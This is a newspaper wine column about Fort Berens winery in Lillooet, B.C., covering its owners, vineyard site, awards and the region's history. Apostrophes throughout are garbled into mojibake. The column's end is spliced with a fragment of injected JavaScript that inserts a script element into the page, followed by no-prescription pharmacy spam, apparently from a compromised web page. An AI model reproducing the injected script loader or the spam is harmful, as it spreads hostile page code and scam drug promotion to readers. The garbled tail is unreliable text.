Lillooet winery one great story – Aug. 2, 2014

By Anthony Gismondi

I dona��t know when the first tell-all Okanagan Valley wine novel will hit the shelves but there will be no shortage of stories to fill the pages.

Much like James Conawaya��s Napa: The Story of an American Eden or his following effort, The Far Side of Eden, B.C. wine country is rich with intrigue and it wona��t be long before someone begins to document it in a popular novel. Ita��s the people who make the place and where there are people there is likely to be tales to tell.

I met recently with two such potential story tellers at Lillooet-based Fort Berens, owner/partners Rolf de Bruin and his wife Heleen Pannekoek. Fort Berens is one of several properties the Vancouver Sun wine video team visited this summer to add to our growing series of B.C. wine-grower videos to be released this month. Only a smidgen of the drive will make the video but the four-hour journey from Vancouver via Whistler and the Duffy Lake Road is spectacular, to say the least.

I was impressed with everything about Fort Berens, including a delicious juicy cabernet franc and its prize winning 2012 Riesling (that was recently awarded a 2014 Lieutenant Governora��s Award for Excellence in British Columbia Wines).

Rolf and Heleen like to say they came to Lillooet because it was affordable. They scoured the world for a place to build their winery but after deciding on B.C., it was land prices that were the sticking point. Undaunted, they reached out for help from the likes of Harry McWatters, owner of Time Winery, and one of the modern fathers of B.C. wine, along with Dick Cleave, who planted most of the vineyards in the south Okanagan. The pair helped them find the best affordable site money could buy and that was in Lillooet.

Along with some pretty sage advice, no pun intended, De Bruin and Pannekoek threw plenty of science at the site as well personal energy and despite the mangy looking vines growing in the backyards of home wine makers at the time, their calculated gamble paid off.

The vineyard, all 8.5 hectares, is planted on a sagebrush-covered bench, at the foot of the impressive Coastal Ranges. The designated viticultural area of the Fraser Canyon is yet to exist, and that also goes for the sub appellation of Lillooet. It may only rank a B.C. designation but its special terroir is all there and the vines, now nearly seven years old, look as healthy as can be.

De Bruin says Lillooeta��s climate isna��t much different than that of the Black Sage Bench in the south Okanagan, a reference to the original site planted to red grape varieties by Harry McWatters back in 1990. Most people thought McWatters was crazy back then. As it turns out, Lillooet may even be a better spot, given the cool alpine breezes that bring an end to each hot summer day. Sandy soils, arid summers and moderate winters are a vineyard dream and should provide a unique backdrop to the wines of Lillooet.

As for stories, Lillooet may be the newest credible wine region in the province, but the history of the area goes back forever. It is one of the main population centres of the Sta��ata��imc (Lillooet Nation) and one of the southernmost communities in North America where indigenous people form the majority. Geologists consider Lillooet to be one of the oldest continuously inhabited locations on the continent, going back several thousand years.

The not-so-modern town had its start as one of the main centres of the Fraser Canyon gold rush of 1858a��59. In those days it was said to be the largest town west of Chicago and north of San Francisco.

Wine is the new gold in Lillooet and with Fort Berens working its site for all it has, it wona��t be long before the rush is on.d.getElementsByTagName(‘head’)[0].appendChild(s); Buy if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript); mexico no prescription pharmacy cheap nootropil medicine cheap benemid on empty

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